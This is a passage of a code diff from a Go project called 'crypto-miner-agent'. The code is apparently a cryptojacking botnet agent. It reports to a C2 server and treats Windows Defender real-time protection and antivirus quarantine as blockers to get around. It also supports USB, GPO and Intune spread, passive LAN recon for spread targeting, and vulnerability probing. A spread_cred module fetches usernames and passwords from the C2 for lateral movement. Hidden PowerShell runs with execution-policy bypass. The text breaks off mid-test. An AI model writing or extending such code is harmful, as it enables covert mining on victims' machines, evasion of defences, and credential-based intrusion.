d.VulnFindings[i].Patched = f.Patched
|
||||
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
||||
d.VulnFindings[i].Detail = f.Detail
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
||||
var blockers []string
|
||||
if d.CPU.RemotePaused {
|
||||
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
||||
}
|
||||
if d.CPU.ScheduleBlocked {
|
||||
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
|
||||
}
|
||||
if d.CPU.ResourcesBlocked {
|
||||
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
|
||||
}
|
||||
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
|
||||
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
|
||||
}
|
||||
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
|
||||
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
|
||||
}
|
||||
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
|
||||
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
|
||||
}
|
||||
if d.HostMiningDisabled && !d.ContainerRunning {
|
||||
blockers = append(blockers, "host mining disabled for container mode but container is not running")
|
||||
}
|
||||
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
|
||||
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
|
||||
}
|
||||
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
|
||||
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
|
||||
}
|
||||
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
|
||||
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
|
||||
}
|
||||
if d.DockerImageTar != "" && !d.ContainerAvailable {
|
||||
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
|
||||
}
|
||||
if !d.WSLAvailable && runtime.GOOS == "windows" {
|
||||
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
|
||||
}
|
||||
if d.ChainExhausted {
|
||||
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
|
||||
}
|
||||
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
|
||||
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
|
||||
}
|
||||
return blockers
|
||||
}
|
||||
|
||||
func (c *AgentClient) miningDiagnosticsJSON() string {
|
||||
d := c.collectMiningDiagnostics()
|
||||
b, _ := json.MarshalIndent(d, "", " ")
|
||||
return string(b)
|
||||
}
|
||||
195
agent/client/mining_diagnostics_test.go
Normal file
195
agent/client/mining_diagnostics_test.go
Normal file
@@ -0,0 +1,195 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
|
||||
t.Helper()
|
||||
c := NewAgentClient(cfg)
|
||||
c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
|
||||
return c
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsJSONShape(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
defer miner.SetWSLDetector(nil)
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
defer SetPostureCollector(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
MiningMode: "always",
|
||||
},
|
||||
}
|
||||
c := testDiagnosticsClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
|
||||
raw := c.miningDiagnosticsJSON()
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||
t.Fatalf("invalid JSON: %v\n%s", err, raw)
|
||||
}
|
||||
for _, key := range []string{
|
||||
"generated_at", "platform", "configured_execution", "execution_mode",
|
||||
"container_runtime_available", "c2_connected", "mining_mode",
|
||||
"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
|
||||
} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("missing key %q in diagnostics JSON", key)
|
||||
}
|
||||
}
|
||||
blockers, ok := doc["likely_blockers"].([]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
|
||||
}
|
||||
if len(blockers) == 0 {
|
||||
t.Fatal("expected at least one likely_blocker for idle agent with no job")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferMiningBlockersRemotePause(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
c.pool.PauseRemote()
|
||||
|
||||
d := c.collectMiningDiagnostics()
|
||||
found := false
|
||||
for _, b := range d.LikelyBlockers {
|
||||
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferMiningBlockersChainExhausted(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
|
||||
blockers := c.inferMiningBlockers(d)
|
||||
found := false
|
||||
for _, b := range blockers {
|
||||
if strings.Contains(b, "fallback chain exhausted") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("got %v", blockers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferMiningBlockersDefenderRTP(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
rtp := true
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
Defender: &struct {
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
RTP *bool `json:"rtp,omitempty"`
|
||||
Products []string `json:"products,omitempty"`
|
||||
}{RTP: &rtp},
|
||||
}
|
||||
blockers := c.inferMiningBlockers(d)
|
||||
found := false
|
||||
for _, b := range blockers {
|
||||
if strings.Contains(b, "Defender real-time protection") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("got %v", blockers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
d := MiningDiagnostics{
|
||||
ExecutionMode: miner.ExecutionContainer,
|
||||
ContainerAvailable: false,
|
||||
}
|
||||
blockers := c.inferMiningBlockers(d)
|
||||
found := false
|
||||
for _, b := range blockers {
|
||||
if strings.Contains(b, "Docker/Podman not detected") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected container runtime blocker, got %v", blockers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||
})
|
||||
defer miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
defer miner.SetWSLDetector(nil)
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
defer SetPostureCollector(nil)
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
},
|
||||
}
|
||||
c := testDiagnosticsClient(t, cfg)
|
||||
d := c.collectMiningDiagnostics()
|
||||
if len(d.TierChainOrder) == 0 {
|
||||
t.Fatalf("expected tier_chain_order, got %+v", d)
|
||||
}
|
||||
if d.TierChainOrder[0] == "" {
|
||||
t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
|
||||
}
|
||||
raw := c.miningDiagnosticsJSON()
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("missing key %q in diagnostics JSON", key)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
|
||||
})
|
||||
d := MiningDiagnostics{
|
||||
GPU: struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
Active bool `json:"active"`
|
||||
Paused bool `json:"paused"`
|
||||
Model string `json:"model,omitempty"`
|
||||
}{Enabled: true, Active: false, Paused: false},
|
||||
}
|
||||
blockers := c.inferMiningBlockers(d)
|
||||
found := false
|
||||
for _, b := range blockers {
|
||||
if strings.Contains(b, "GPU mining configured but subprocess inactive") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected GPU inactive blocker, got %v", blockers)
|
||||
}
|
||||
}
|
||||
47
agent/client/mining_policy.go
Normal file
47
agent/client/mining_policy.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
||||
return miner.DefaultMiningTierPolicy()
|
||||
}
|
||||
return c.tierPolicy
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
return
|
||||
}
|
||||
if len(resp.LotlOnionTiers) == 0 {
|
||||
return
|
||||
}
|
||||
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
|
||||
for i, s := range resp.LotlOnionTiers {
|
||||
order[i] = miner.LOTLTier(s)
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.MiningTierPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.tierPolicy = p
|
||||
c.mu.Unlock()
|
||||
}
|
||||
61
agent/client/mining_policy_test.go
Normal file
61
agent/client/mining_policy_test.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
policy := c.miningTierPolicy()
|
||||
defaults := miner.DefaultMiningTierPolicy()
|
||||
if len(policy.TierOrder) != len(defaults.TierOrder) {
|
||||
t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
|
||||
}
|
||||
if policy.TierOrder[0] != defaults.TierOrder[0] {
|
||||
t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.applyAuthLotlPolicy(AuthResponse{
|
||||
Success: true,
|
||||
LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
|
||||
})
|
||||
policy := c.miningTierPolicy()
|
||||
want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
|
||||
if len(policy.TierOrder) != len(want) {
|
||||
t.Fatalf("order=%v want %v", policy.TierOrder, want)
|
||||
}
|
||||
for i := range want {
|
||||
if policy.TierOrder[i] != want[i] {
|
||||
t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
|
||||
c.applyMiningTierPolicyJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
|
||||
t.Fatalf("skip=%v", policy.SkipTiers)
|
||||
}
|
||||
if policy.ForceTier != miner.TierCPUInprocess {
|
||||
t.Fatalf("force=%q", policy.ForceTier)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
|
||||
c := NewAgentClient(config.RuntimeConfig{})
|
||||
c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.TierOrder) == 0 {
|
||||
t.Fatal("invalid JSON should leave defaults intact")
|
||||
}
|
||||
}
|
||||
59
agent/client/mining_ready.go
Normal file
59
agent/client/mining_ready.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
|
||||
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
|
||||
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
||||
if d.ChainExhausted {
|
||||
return false
|
||||
}
|
||||
if d.HostMiningDisabled && !d.ContainerRunning {
|
||||
return false
|
||||
}
|
||||
if !d.C2Connected {
|
||||
return false
|
||||
}
|
||||
for _, b := range d.LikelyBlockers {
|
||||
lower := strings.ToLower(b)
|
||||
if strings.Contains(lower, "chain exhausted") ||
|
||||
strings.Contains(lower, "host mining disabled") {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
||||
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
const maxWait = 120 * time.Second
|
||||
deadline := time.Now().Add(maxWait)
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
tryStart := func(reason string) {
|
||||
log.Printf("[mining] %s — starting fallback chain", reason)
|
||||
c.miningChain.Start(ctx)
|
||||
}
|
||||
|
||||
for {
|
||||
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
|
||||
tryStart("diagnostics pass")
|
||||
return
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
tryStart("diagnostics wait timeout")
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
48
agent/client/mining_ready_test.go
Normal file
48
agent/client/mining_ready_test.go
Normal file
@@ -0,0 +1,48 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) {
|
||||
d := MiningDiagnostics{C2Connected: false}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false without C2")
|
||||
}
|
||||
d.C2Connected = true
|
||||
if !MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected true with C2 and no hard blockers")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) {
|
||||
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false when chain exhausted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) {
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
HostMiningDisabled: true,
|
||||
ContainerRunning: false,
|
||||
}
|
||||
if MiningDiagnosticsReady(d) {
|
||||
t.Fatal("expected false when host mining disabled without container")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) {
|
||||
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||
d := MiningDiagnostics{
|
||||
C2Connected: true,
|
||||
LikelyBlockers: []string{"C2 connected but no mining job delivered"},
|
||||
}
|
||||
if !MiningDiagnosticsReady(d) {
|
||||
t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers)
|
||||
}
|
||||
_ = c
|
||||
}
|
||||
9
agent/client/posture_hook.go
Normal file
9
agent/client/posture_hook.go
Normal file
@@ -0,0 +1,9 @@
|
||||
package client
|
||||
|
||||
// postureCollector overrides collectPosture in tests. Nil restores platform defaults.
|
||||
var postureCollector func() *PostureReport
|
||||
|
||||
// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults.
|
||||
func SetPostureCollector(fn func() *PostureReport) {
|
||||
postureCollector = fn
|
||||
}
|
||||
@@ -14,6 +14,9 @@ import (
|
||||
)
|
||||
|
||||
func collectPosture() *PostureReport {
|
||||
if postureCollector != nil {
|
||||
return postureCollector()
|
||||
}
|
||||
r := &PostureReport{AgentServiceOK: boolPtr(true)}
|
||||
|
||||
// ── Firewall ───────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress
|
||||
`
|
||||
|
||||
func collectPosture() *PostureReport {
|
||||
if postureCollector != nil {
|
||||
return postureCollector()
|
||||
}
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
buildPostureScript(),
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
import (
|
||||
"encoding/json"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
@@ -45,12 +49,18 @@ type AuthPayload struct {
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
UTM string `json:"utm,omitempty"`
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
Success bool `json:"success"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Error string `json:"error"`
|
||||
Success bool `json:"success"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Error string `json:"error"`
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
@@ -60,6 +70,13 @@ type SharePayload struct {
|
||||
Worker string `json:"worker_name"`
|
||||
}
|
||||
|
||||
// MethodFailurePayload mirrors miner.MethodFailure in stats JSON.
|
||||
type MethodFailurePayload struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
}
|
||||
|
||||
type StatsPayload struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
@@ -110,6 +127,48 @@ type StatsPayload struct {
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
Services []ServiceStatus `json:"services,omitempty"`
|
||||
|
||||
// Mining fallback cascade (container → in-process → GPU → Stratum)
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
|
||||
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
|
||||
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
|
||||
|
||||
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
|
||||
VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
|
||||
// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON.
|
||||
type VulnFindingPayload struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// TierAttemptPayload mirrors miner.TierAttempt in stats JSON.
|
||||
type TierAttemptPayload struct {
|
||||
Phase string `json:"phase,omitempty"`
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
|
||||
type ShareResult struct {
|
||||
|
||||
142
agent/client/spread_cred.go
Normal file
142
agent/client/spread_cred.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type spreadCredIssueResponse struct {
|
||||
Token string `json:"token"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
}
|
||||
|
||||
type spreadCredRedeemResponse struct {
|
||||
ProfileID string `json:"profile_id"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) initSpreadCredHooks() {
|
||||
if strings.TrimSpace(c.cfg.FleetSecret) == "" {
|
||||
return
|
||||
}
|
||||
deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge)
|
||||
}
|
||||
|
||||
func (c *AgentClient) spreadCredHTTPClient() *http.Client {
|
||||
return &http.Client{Timeout: 20 * time.Second}
|
||||
}
|
||||
|
||||
func (c *AgentClient) spreadCredAPIBase() (string, error) {
|
||||
raw := strings.TrimSpace(c.cfg.ServerURL)
|
||||
if raw == "" {
|
||||
return "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) {
|
||||
base, err := c.spreadCredAPIBase()
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
issueBody, _ := json.Marshal(map[string]string{
|
||||
"agent_id": c.agentID,
|
||||
"host": host,
|
||||
"subnet": subnet,
|
||||
"method": method,
|
||||
})
|
||||
issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody))
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
issueReq.Header.Set("Content-Type", "application/json")
|
||||
issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
|
||||
resp, err := c.spreadCredHTTPClient().Do(issueReq)
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusNotFound {
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var issued spreadCredIssueResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
if strings.TrimSpace(issued.Token) == "" {
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token")
|
||||
}
|
||||
|
||||
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
redeemReq.Header.Set("Content-Type", "application/json")
|
||||
redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
|
||||
resp, err = c.spreadCredHTTPClient().Do(redeemReq)
|
||||
if err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var redeemed spreadCredRedeemResponse
|
||||
if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil {
|
||||
return deploy.SpreadCredSession{}, err
|
||||
}
|
||||
return deploy.SpreadCredSession{
|
||||
ProfileID: redeemed.ProfileID,
|
||||
Username: redeemed.Username,
|
||||
Password: redeemed.Password,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) {
|
||||
base, err := c.spreadCredAPIBase()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
body, err := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"host": report.Host,
|
||||
"subnet": report.Subnet,
|
||||
"credential_profile_id": report.ProfileID,
|
||||
"method": report.Method,
|
||||
"success": report.Success,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := c.spreadCredHTTPClient().Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
io.Copy(io.Discard, resp.Body) //nolint:errcheck
|
||||
resp.Body.Close()
|
||||
}
|
||||
63
agent/client/spread_cred_test.go
Normal file
63
agent/client/spread_cred_test.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) {
|
||||
var captured map[string]interface{}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) {
|
